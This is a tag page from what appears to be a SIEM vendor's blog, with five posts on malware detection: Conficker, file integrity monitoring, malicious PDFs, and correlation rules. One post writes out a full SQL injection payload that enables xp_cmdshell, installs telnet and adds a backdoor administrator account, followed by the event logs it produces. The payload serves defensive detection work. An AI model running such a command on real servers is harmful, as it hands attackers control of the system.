Posts tagged: 'malware'
The following posts are associated with the tag you have selected. You may subscribe to the RSS feed for this tag to receive future updates relevant to the topic(s) of your interest.
http://blog.logrhythm.com/tags/malware/feed
On Its Three Year Anniversary Conficker Still a Top Threat
Recently I was asked to speak about the prevalence of the Conficker worm. I initially scoffed at the idea, remembering that Conficker was discovered in November 2008, and the vulnerability it used to spread was patched by Microsoft in October of the same year…ancient history in the security world. However, after just a little research, I found AV vendors are still considering it to be one of the most prevalent pieces of malware out there.
How can this be? The vulnerability Conficker used to spread was patched 3 years ago! Every AV vendor I know of has been able to detect and remove the worm since then. Many have even issued “Conficker Removal Tools” to assist in the event a system gets in a state where standard AV isn’t working properly. So why is Conficker still a problem?
It really comes down to fundamental security practices (or should I say lack of fundamental security practices). The early variants of Conficker spread by exploiting a vulnerability in the Windows Server Service, then downloading a payload from a remote site. The worm continues to spread via this method, but also by attempting to execute copies of itself on ADMIN$ shares on computers visible on the network, launching a dictionary attack if the shares are protected. In addition, copies are saved to removable media devices and spread via AutoRun.
Any organization with a basic patch management program and AV strategy, both very standard things to have in a defense arsenal, should be protected against Conficker. However, with an ever-expanding mobile workforce, many organizations are losing control over systems connecting to corporate networks, which might be one of the reasons older malware such as Conficker are still prevalent. Even home users that don’t have corporate resources should be running one of the free AV products, and have Windows Updates enabled to ensure their systems stay patched.
So that covers the “now.” What about when the next worm that hits, one that utilizes a zero-day vulnerability that by definition isn’t yet patched, and unlikely to be picked up by many AV engines? This is where SIEM can help. Instead of worrying about detecting the exploit itself, a SIEM can look for general worm-like behavior. Worms are noisy. Once a host is compromised, the worm will continue to try to spread to other hosts on the network, as outlined above. By utilizing advanced correlation rules against this rather noisy activity, specifically rules that target internal network activity, a SIEM can alarm on worm-like behavior, even if the exploit being used to spread the worm is unknown.
Tags: conficker, malware, security, siem
FIM for Fonts: Using file integrity monitoring to protect against hidden threats
Almost everybody uses antivirus. Chances are that you have an antivirus running right now on the computer you are using to read this article. Antivirus is great – it gives us that warm, cozy, and protected feeling that we need when conducting our business on the internet. Let’s face it; the DMZ is not a safe place. The reason we all still use antivirus is the same reason why it’s not one hundred percent effective. New viruses, malware, Trojans, zero day exploits and attacks are discovered everyday that bypass existing AV scanners. The “bad guys” are usually one small step ahead of the “good guys”.
So what can we do? Well, we can start by brainstorming possible scenarios and objectives that the malware creators have in mind. Once a particular malicious piece of code has made its way into our environment it needs to live somewhere. Usually hiding in hidden folders or disguised as hidden/important system objects. Chances are that this malicious code might try to hide its tracks, delete audit trails, create default/super user accounts, modify the registry, modify linked libraries, lower file permissions, steal sensitive information, or maybe clone itself. In all these scenarios a specific signature is left, files are modified, created, deleted, or read – leaving evidence of its existence on your machine.
The second line of defense comes in the form of File Integrity monitoring (FIM). FIM is a key component to maintaining a secure environment and often a requirement for compliance standards such as PCI. Having FIM in place will frequently provide you with your first warning of a zero-day exploit and other stealthy attacks. An effective FIM tool should provide you with integrity information on file creations, sizes, permission changes, deletes, modifications and provide a means to track down the activity associated with the event.
Creating a useful and effective default file integrity monitoring policy requires a fair amount of research to ensure that all the critical folders and files are covered. One of the first steps that LogRhythm uses to create a default monitoring policy for a Windows machine is to create a script that will sweep the default install of a given OS, Windows 2008 R2, for instance, for various important folders and file types. In the first sweep we want to find all executables. Simply looking for all .exes on the host will not give you a complete list of all executable files on the box. Some common file extensions that can easily be overlooked are: .bat, .js, .ocx, and .vb. Instead, let’s take advantage of the fact that each file on a windows machine has a specific byte signature that determines the nature of the file at the byte level and is easily viewable in a hex editor. A way to perform a more comprehensive sweep is by opening each file on the host with a hex editor and looking for the “MZ” characters or “4D 5A” hex bits. These bytes are the signature of an executable file.
Now we have a starting point to begin our FIM policy. On a default install of Windows 2008 R2, a script like this will return over 25 different types of file extensions – one of them will be .fon extension for bitmapped fonts. To the untrained eye these files can easily be overlooked. The .fon extension was created by Microsoft, specifically for the native Windows 3.x library. Since files with the .fon extension are also executables, they have been known to be a great spot for malware to hide.
A few months ago Microsoft released a security bulletin MS01-091. This vulnerability in the OpenType font can allow an attacker who has successfully modified a font to install programs, read, modify or, delete files and create accounts with super user privileges. 
FIM can be a powerful tool for detecting stealth attacks. Yes, it is important to use FIM to monitor high profile objects such as essential system/startup files, system32 files, authentication records, folders with logon rights information and user privilege data. But using FIM to monitor seemingly harmless or insignificant files can sometimes be the first warning sign in the event of an attack.
Tags: file integrity monitoring, logrhythm, malware, zero day exploits
Using Correlation Rules To Perform Decentralized Threat Detection
Over the past few months while developing correlation rules for LogRhythm’s new Advanced Intelligence Engine, I started to think about a concept I’m calling “Decentralized Threat Detection.” While antivirus and IDS systems generally look for a threat in a single, specific spot, individual files and network packets, respectively, Decentralized Threat Detection looks at behavior patterns surrounding a threat rather than the threat itself, expanding the detection capabilities away from a single point. My colleague Zak Wolff’s recent blog post outlines some correlation ideas around this very concept. Malware developers are getting better and better at writing code that most anti-virus software can’t detect. A recent post in the SANS Handler Diary presents a perfect example. In short, relying on AV or IDS/HIDS by themselves simply isn’t enough to adequately detect all malicious activity.
By applying the concept of Decentralized Threat Detection when building correlation rules for a SIEM, we’re looking for various malicious activity patterns shared across all types of attacks, malware, exploits, etc. The specific technical details of the attack are irrelevant; we’re treating the attack as a black-box and looking for behavior patterns outside of the attack itself. While Zak applied this concept to detecting malicious PDFs in his post, I’ll be taking a look at a certain type of SQL injection.
The mother of all vulnerabilities for a SQL Server back-ended web application is when non-sanitized data is passed to the database using a privileged account, allowing xp_cmdshell to be enabled and command-line commands run as a privileged user. In a scenario like this, on a Windows Server 2008 system the following SQL statement will enable xp_cmdshell, install a telnet server, start the telnet service, create a backdooraccount, and add the account to both the TelnetClients group as well as the local administrators group.
master.dbo.sp_configure ‘show advanced options’, 1; RECONFIGURE; EXEC master.dbo.sp_configure ‘xp_cmdshell’, 1; RECONFIGURE; EXEC xp_cmdshell ‘ServerManagerCmd.exe -install Telnet-Server -allSubFeatures -resultPath C: TelnetServer.xml’; EXEC xp_cmdshell ‘sc config TlntSvr start= auto’; EXEC xp_cmdshell ‘sc start TlntSvr’; EXEC xp_cmdshell ‘net user backdooraccount password!1 /add’; EXEC xp_cmdshell ’net localgroup TelnetClients /add backdooraccount’; EXEC xp_cmdshell ‘net localgroup administrators /add backdooraccount’;
Depending on the obfuscation used/required during the injection, this injection like many others can go unnoticed, although the server would now be effectively owned.
However, let’s take a step back from the injection/SQL statement/vulnerability itself, and start to look at the log trail this activity leaves behind.
(the above SQL statements were run manually for easy isolation of the relevent log data for analysis)
When xp_cmdshell is enabled, a log is written to the SQL Server ERRORLOG:
2011-04-01 11:09:20.74 spid52 Configuration option ‘xp_cmdshell’ changed from 0 to 1. Run the RECONFIGURE statement to install.
A very similar log is also written to the Windows Application Event Log:
Log Name: Application
Source: MSSQLSERVER
Date: 4/1/2011 11:09:20 AM
Event ID: 15457
Task Category: (2)
Level: Information
Keywords: Classic
User: N/A
Computer: WIN2008TESTSERVER
Description:
Configuration option ‘xp_cmdshell’ changed from 0 to 1. Run the RECONFIGURE statement to install.
Event XML…
Already, without any visibility into the SQL injection itself, we can start to see some behavior surrounding the attack. The remaining commands run by xp_cmdshell via the injection all leave a trail in the Event Log data, including the telnet service starting, and the backdoor account creation and addition to local groups (Windows Server 2008 logs are long, so jump past the samples below to get to the punchline).
Telnet Service Starting:
Log Name: Application
Source: Microsoft-Windows-TelnetServer
Date: 4/1/2011 12:08:52 PM
Event ID: 1000
Task Category: None
Level: Information
Keywords: Classic
User: N/A
Computer: WIN2008TESTSERVER
Description:
Telnet Service was started successfully.
Event XML…
Backdoor account creation:
Log Name: Security
Source: Microsoft-Windows-Security-Auditing
Date: 4/1/2011 12:12:23 PM
Event ID: 4720
Task Category: User Account Management
Level: Information
Keywords: Audit Success
User: N/A
Computer: WIN2008TESTSERVER
Description:
A user account was created.
Subject:
Security ID: WIN2008TESTSERVERAdministrator
Account Name: Administrator
Account Domain: WIN2008TESTSERVER
Logon ID: 0x1d944
New Account:
Security ID: WIN2008TESTSERVERbackdooraccount
Account Name: backdooraccount
Account Domain: WIN2008TESTSERVER
Attributes:
SAM Account Name: backdooraccount
Display Name:
User Principal Name: -
Home Directory:
Home Drive:
Script Path:
Profile Path:
User Workstations:
Password Last Set:
Account Expires:
Primary Group ID: 513
Allowed To Delegate To: -
Old UAC Value: 0×0
New UAC Value: 0×15
User Account Control:
Account Disabled
‘Password Not Required’ – Enabled
‘Normal Account’ – Enabled
User Parameters:
SID History: -
Logon Hours: All
Additional Information:
Privileges -
Event XML …
New Account added to Administrators group:
Log Name: Security
Source: Microsoft-Windows-Security-Auditing
Date: 4/1/2011 12:13:54 PM
Event ID: 4732
Task Category: Security Group Management
Level: Information
Keywords: Audit Success
User: N/A
Computer: WIN2008TESTSERVER
Description:
A member was added to a security-enabled local group.
Subject:
Security ID: WIN2008TESTSERVERAdministrator
Account Name: Administrator
Account Domain: WIN2008TESTSERVER
Logon ID: 0x1d944
Member:
Security ID: WIN2008TESTSERVERbackdooraccount
Account Name: -
Group:
Security ID: BUILTINAdministrators
Group Name: Administrators
Group Domain: Builtin
Additional Information:
Privileges: -
Event Xml…
Backdoor account logging in via tlntsess.exe process and being granted administrative privileges:
Log Name: Security
Source: Microsoft-Windows-Security-Auditing
Date: 4/1/2011 12:14:43 PM
Event ID: 4624
Task Category: Logon
Level: Information
Keywords: Audit Success
User: N/A
Computer: WIN2008TESTSERVER
Description:
An account was successfully logged on.
Subject:
Security ID: LOCAL SERVICE
Account Name: LOCAL SERVICE
Account Domain: NT AUTHORITY
Logon ID: 0x3e5
Logon Type: 2
New Logon:
Security ID: WIN2008TESTSERVERbackdooraccount
Account Name: backdooraccount
Account Domain: WIN2008TESTSERVER
Logon ID: 0x4f1f1
Logon GUID: {00000000-0000-0000-0000-000000000000}
Process Information:
Process ID: 0x3fc
Process Name: C:WindowsSystem32tlntsess.exe
Network Information:
Workstation Name: WIN2008TESTSERVER
Source Network Address: -
Source Port: -
Detailed Authentication Information:
Logon Process: Advapi
Authentication Package: Negotiate
Transited Services: -
Package Name (NTLM only): -
Key Length: 0
This event is generated when a logon session is created. It is generated on the computer that was accessed.
The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.
The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).
The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.
The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.
The authentication information fields provide detailed information about this specific logon request.
– Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
– Transited services indicate which intermediate services have participated in this logon request.
– Package name indicates which sub-protocol was used among the NTLM protocols.
– Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
Event XML…
Log Name: Security
Source: Microsoft-Windows-Security-Auditing
Date: 4/1/2011 12:14:43 PM
Event ID: 4672
Task Category: Special Logon
Level: Information
Keywords: Audit Success
User: N/A
Computer: WIN2008TESTSERVER
Description:
Special privileges assigned to new logon.
Subject:
Security ID: WIN2008TESTSERVERbackdooraccount
Account Name: backdooraccount
Account Domain: WIN2008TESTSERVER
Logon ID: 0x4f1f1
Privileges: SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeDebugPrivilege
SeSystemEnvironmentPrivilege
SeImpersonatePrivilege
Event XML…
Post-attack activity also leaves a log trail. If perimeter firewall/netflow data is being collected, this telnet session would also be seen in those logs, as well as any other access/authentication attempts made by the backdoor account across the infrastructure.
Now we can build some correlation rules that will detect the activity pattern demonstrated in this attack:
1) A rule that looks for a configuration changed followed shortly by a process starting on the same host would detect the xp_cmdshell being enabled followed by the telnet service starting.
2) A rule that looks for a new account being created followed by immediate authentication activity from that same account would detect the backdoor account creation followed by the account being used to telnet back into the system.
3) A rule that looks for a configuration change followed by network activity on a new port would fire when the xp_cmdshell is enabled on a host followed by firewall/netflow data showing telnet activity to the same host.
4) A rule that looks for a new account being created, followed shortly by access/authentication failure activity from the same account.
Add additional white-listing, such as allowed accounts, allowed processes and/or allowed network ports, and the correlation rules become even more effective while reducing false-positives. And even simpler correlation rules can quickly be developed as well.
With a properly configured SIEM collecting data across the entire breadth and depth of an infrastructure, from the perimeter devices to the endpoint monitoring features and everything in between, the correlation rules outlined above would work wonderfully. By forgetting about the SQL Injection itself, and focusing the correlation rules on malicious activity patterns surrounding the attacks, we no longer have to rely solely on single points of detection, and can achieve “Decentralized Threat Detection.”
Tags: logrhythm, malware, siem, sql injection
Detecting Malicious PDF’s With Advanced Correlation
A recently released Symantec report estimates that 65% of all targeted attacks in 2010 were executed using malicious PDFs. According to the study, this is a 12.4% increase from 2009. ”If this trend were to continue at the same rate it has for the last year, by mid-2011, 76% of targeted malware could be used for PDF-based attacks”, the study continues.
Adobe and Microsoft do their best to keep these vulnerabilities patched but often times, and especially in the case of a targeted attack this is not enough. Some antivirus vendors will scan PDFs for the presence of embedded executables, shell code or malicious Javascript while others rely on older signature based detection to identify malicious PDFs. Depending on your AV vendor, you may or may not be able to thwart and prevent the execution of a malicious PDF on your network.
In the event that something gets through and also gets executed, let’s look at how you could detect the attack using correlation rules within your SIEM.
For this experiment I looked at a number of malicious PDFs including MD5:411406d5ace2201e5dd73ce8e696b03b. When run, this file exploits a remote memory corruption vulnerability that causes the application to crash while processing the malicious .PDF file. The issue kicks off when the reader tries to initialize the file cooltype.dll. When run, this file crashes Adobe generating an event that’s resulting behavior will be the basis for one of our primary advanced correlation rule blocks.
3/24/2011 8:16 PM TYPE=Error USER= COMP=XXXXX SORC=Application Error CATG=(0) EVID=1000 MESG=Faulting application acrord32.exe, version 9.3.0.148, faulting module unknown, version 0.0.0.0, fault address 0x6753e2ed.
From there we look for some more specific rule blocks. One that could be valuable would be a block for a File Integrity Monitor log indicating that someone opened/read cooltype.dll. As cooltype.dll attacks were not isolated to this particular vulnerability (CVE-2010-2883,CVE-2010-3654, and CVE-2010-1241) this could play well in a number of hands.
While these two events alone might help shed light on possible attacks, they can also be prone to false positives requiring that you fine-tune the blocks a bit more on this rule. The next blocks are somewhat dependent on your environment and what devices you are logging. The basic behavior, however, will remain the same regardless of what devices you are collecting from and the various vendors.
The next block is more general because we are now just looking for basic malicious behavior. If your first line defenses didn’t prevent the infiltration and the PDF was executed, there is a good chance it will need to phone home to download a payload. This can be done in a number of ways, so we will add a few rule blocks to monitor for some of those possible scenarios.
You may already have rules in place to monitor for outbound SMTP connections from machines that should not be generating such traffic, but the threshold is likely in place to only alert on a large number of instances. In the case of a targeted attack we would not expect this kind of general spambot behavior. Try setting the threshold much lower for this rule, perhaps even on an instance of one outbound SMTP connection.
It may try to phone home VIA HTTP on port 80, so we’ll add a rule block that checks routers, firewalls and/or NetFlow-generating devices for any source of port 80 traffic not originating from a known web server. We may also want to watch for traffic on port 80 that is not HTTP. In the case of a targeted attack, privacy is typically important to the attacker. Outbound SSL traffic might be considered significant in this situation.
We don’t want to leave out the low hanging fruit so we can include rule blocks on a classification or common event of malware detected correlated against any IDS alerts that may have occurred within a relevant time span. We might also add criteria for older communication methods like IRC just to be safe. In the event that the initial exploit does not crash Adobe in a way that triggers an event log we would also layer in a second line of defense on our primary rule block. Using one of LogRhythm’s endpoint monitoring capabilities, we can monitor process explorer and take note of the acrord32.exe process starting within a relevant time frame of the subsequent events.
Periodic maintenance of these rules is necessary to keep them relevant. Stay current on zero day (Adobe and Microsoft) exploits and pay attention to what files they are working against. Incorporate these target files (cooltype.dll) into rules whenever possible. Ideally this would be before patches are released.
There will never be a silver bullet to detect malicious attacks. But with creative use of your SIEM’s advanced correlation rules you can alert on some very interesting behavior. Obviously you should start with the basics and keep your systems patched. But in the event that something slips through your 1st line defenses, why not exercise your SIEM solution to the fullest to help keep your network secure?
Tags: advanced correlation, malware, siem, zero day exploit
NT & 2000. You’ll need more than a pocketful of posies…
Trust. The internet simply can’t afford it. I’m not talking about notional trust, or any form of technical trust. I’m talking about actual trust. Users of the internet can do without it.
Why the cynicism? Well, you can’t possibly sit pontificating on 21st Century computing without at least skimming over social networking, and before you know it you’re at trust. I was ruminating on such things and it struck me how Web 2.0 and 3.0 have brought trust back to an area of human endeavour where we should be innately mistrustful. Don’t get me wrong. The democratisation of the internet through such channels ranks for me as a crowning achievement of humankind, but let’s not be naive. Your friendly neighbourhood knee cappers, drug runners and extortionists now see the internet as fertile ground for the exploitation of new markets. Further to this, the advent of weaponised, state-sponsored malware like Stuxnet reiterates the fact that none of us are in Kansas anymore.
Social networking – almost all of us do it. Many of us do it online. We now have potentially lifelong connections with school friends, work colleagues and even casual acquaintances. We spin up webs of dozens or even hundreds of people that we ‘presumably’ know and ‘presumably’ trust. Indeed, the recent push on Facebook for everyone to choose https as the mechanism for delivery of social content has not helped. Because now, in combination, you’re in perpetual touch with these people, in an SSL secured environment. What could possibly go wrong? Facebook apps are safe, right? Wrong. In fact, malware originating from social networking channels is the next big attack vector. If your organisation has a liberal policy to social networking in the workplace, then you are potentially asking for trouble.
Unless you have a very sophisticated next generation firewall infrastructure and a culture of continuous education for your users on social networking hygiene in the context of the modern organisation, then things could go very badly awry. Visualise; a piece of malware sent from a trusted friend and confidant of one of your employees hits their Facebook inbox. A couple of clicks, your firewall doesn’t even blink at the traffic whistling across port 443, arriving on the user’s desktop and spinning up a nasty piece of proliferative, zero day malware. No problem, right? Your desktop scanners do heuristics, and the IDS system will pick anything else up.
Well, what about the legacy NT systems, typically performing tasks of quasi-SCADA level criticality? What about the 2000 systems housing legacy applications that are too costly to migrate, but too valuable to retire. Sophisticated modern malware will make a beeline for these systems. So, how can you get an early view of compromises, non-intrusively? How can you make statefully based correlations between changes in behaviour in your legacy systems and possible compromised user credentials? How can you take metrics from all around your infrastructure about the security of your people, your processes and your systems and view them in a normalised, human readable, business meaningful way?
You don’t need a log management solution. You need a REALLY GOOD log management solution.
For further insight on zero day exploits, and how a next generation SIEM will help, see our use case resources on our website.
Tags: log management, logrhythm, malware, siem, zero day exploits
LogRhythm wins "Innovator of the Year" from SC Magazine. "This is not your father's log manager."